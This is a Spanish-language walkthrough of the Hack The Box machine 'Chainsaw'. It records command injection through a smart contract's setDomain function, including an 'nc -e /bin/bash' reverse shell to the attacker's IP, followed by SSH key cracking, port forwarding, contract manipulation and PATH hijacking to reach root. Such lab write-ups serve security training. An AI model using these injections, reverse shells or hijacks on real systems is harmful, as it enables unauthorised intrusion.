HTB-Chainsaw
IP -> 10.10.10.142
Nmap
Utilizamos nmap y obtenemos los siguientes resultados.
ftp
Entramos como el usuario anonymous.
ftp> prompt off
ftp> mget *
WeaponizedPing.jpeg WeaponizedPing.sol address.txt
Vemos unos archivo, al investigarlos ecnontramos un solc, contract, etherium, Solidity smart contract languaje, blockchain… Nos encontramos frente a un Smart Contract. Un Smart Contract.
9010 (Smart Contract)
Vamos a conectarnos al puerto para ver si tiene algo que ver con el contrato.
pip3 install web3 ethereum eth
python3
from web3 import Web3, eth
import json
address = 'OxC8F3Bff5c04B08553FBb8307e1598A55899b3E0C'
w3 = Web3(Web3.HTTPProvider('http://10.10.10.142:9810'))
w3
w3.eth.accounts # Nos lista direcciónes asi que los tiros van por aqui.
w3.eth.defaultAccount = w3.eth.accounts[0]
json_file = json.loads(open("WeaponizedPing.json", "r").read())
abi = json_file['abi']
contract = w3.eth.contract(address=address, abi=abi)
contract.functions.getDomain().call()
contract.functions.setDomain("10.10.14.10").transact() # Recibimos traza icmp, si suponemos que utliza ping, podemos tratar de ejecutar comandos a nivel de sistema.
contract.functions.setDomain("10.10.14.10; ping -c 3 10.10.14.10").transact() # Tenemos RCE
contract.functions.setDomain("10.10.14.10; nc -e /bin/bash 10.10.14.10 443").transact()
User Pivoting
OS
cd /home/administrator
cat chainsaw-emp.csv # Hace referencia a correo electrónicos
netstat -nat # No vemos ninún puerto relaccionado con correos abierto
cd maintain
cat gen.py # No tenemos credenciales y no parece muy útil
cd /home/administrator
ls -lha # Vemos un directorio llamado ipfs, lo buscamos y tiene que ver con compartir archivos
which ipfs # Buscamos en la web documentación para ver que podemos hacer
ipfs refs local # List local references
for i in $(ipfs refs local); do ipfs ls $i; done 2>/dev/null # Listamos información de algunas referencias, vemos claves públicas y otros archivos .eml que suponemos que son claves privadas
ipfs get <ref> # Descargamos la supuesta clave privada para bobby. Vemos una clave en base64 como petición web
ssh
Al decodificar el base64 vemos que está cifrada con contraseña
ssh2john.py
Con ssh2john.py sacamos un hash para crackear localmente
john + rockyou
Rompemos el hash y obtenemos la contraseña
User: bobby id_rsa jackychain
user.txt
PrivEsc
OS
id
sudo -l
cd projects
ls -l # Vemos un archivo SUID y otro smart contract
cat ChainsawClub.sol # Vemos funciones, un usuario y una contraseña hasheada que buscamos en crackstation pero no la consigue.
netstat -nat # Vemos el puerto 63991 abierto localmente
LPortForwarding
Hacemos un Local Port Forwarding con ssh
ssh -i id_rsa bobby@10.10.10.142 -L 63991:127.0.0.1:63991
Tranferimos los archivos del smart contract a nuestra máquina
63991 (Smart Contract)
Con python volvemos a sincronizarnos al smart conrtact.
from web3 import web3, eth
address = 'Ox2096618d8fa76638f1d994c08b2e0D872C394d43'
w3 = Web3(Web3.HTTPProvider('http://127.0.0.1:63991'))
w3
w3.eth.accounts
w3.eth.defaultAccount = w3.eth.accounts[0]
json_file = json.loads(open("ChainsawClub.json", "r").read())
abi = json_file['abi']
contract = w3.eth.contract(abi=abi, address=address)
contract.functions.setUsername('creep33').transact()
# Para la contraseña tenemos que pasarla a md5 primero
import hashlib
hashlib.md5('Mario123'.encode()).hexdigest()
contract.functions.setPassword('305b3a99e93d7aee24ee4b21e84308ed').transact()
Probamos a iniciar sesión en el binario, ahora nos deja pero “no estamos aprovados”. Miramos más funciones que tenga el smart contract, hay un get/setApprove()
contract.functions.setApprove(True).transact()
Ahora no tenemos dinero, vamos a ver funciones, getBalance, transfer
contract.functions.transfer(1000).transact()
contract.funcitons.getBalance().call()
Al iniciar sesión somos root.
PrivEsc (Altway)
OS
strings ChainsawClub
Vemos que ejecuta un archivo que se encuentra en la ruta de /root, pero utiliza sudo de forma relativa.
Path Hijacking
cd /tmp
echo "bash -p" > sudo
export PATH=/tmp:$PATH
./ChainsawClub
Y seríamos root
root.txt
Al intentar abrir el root.txt nos dice:
Mine deeper to get rearded with root coin (RTC)…
Buscamos en san-google “hidding data with files” y en la última referencia de la seguna página encontramos como hacerlo. Con bmap podemos utilizar la memoria reservada pero no utilizada para un archivo.
bmap --mode slack root.txt
root.txt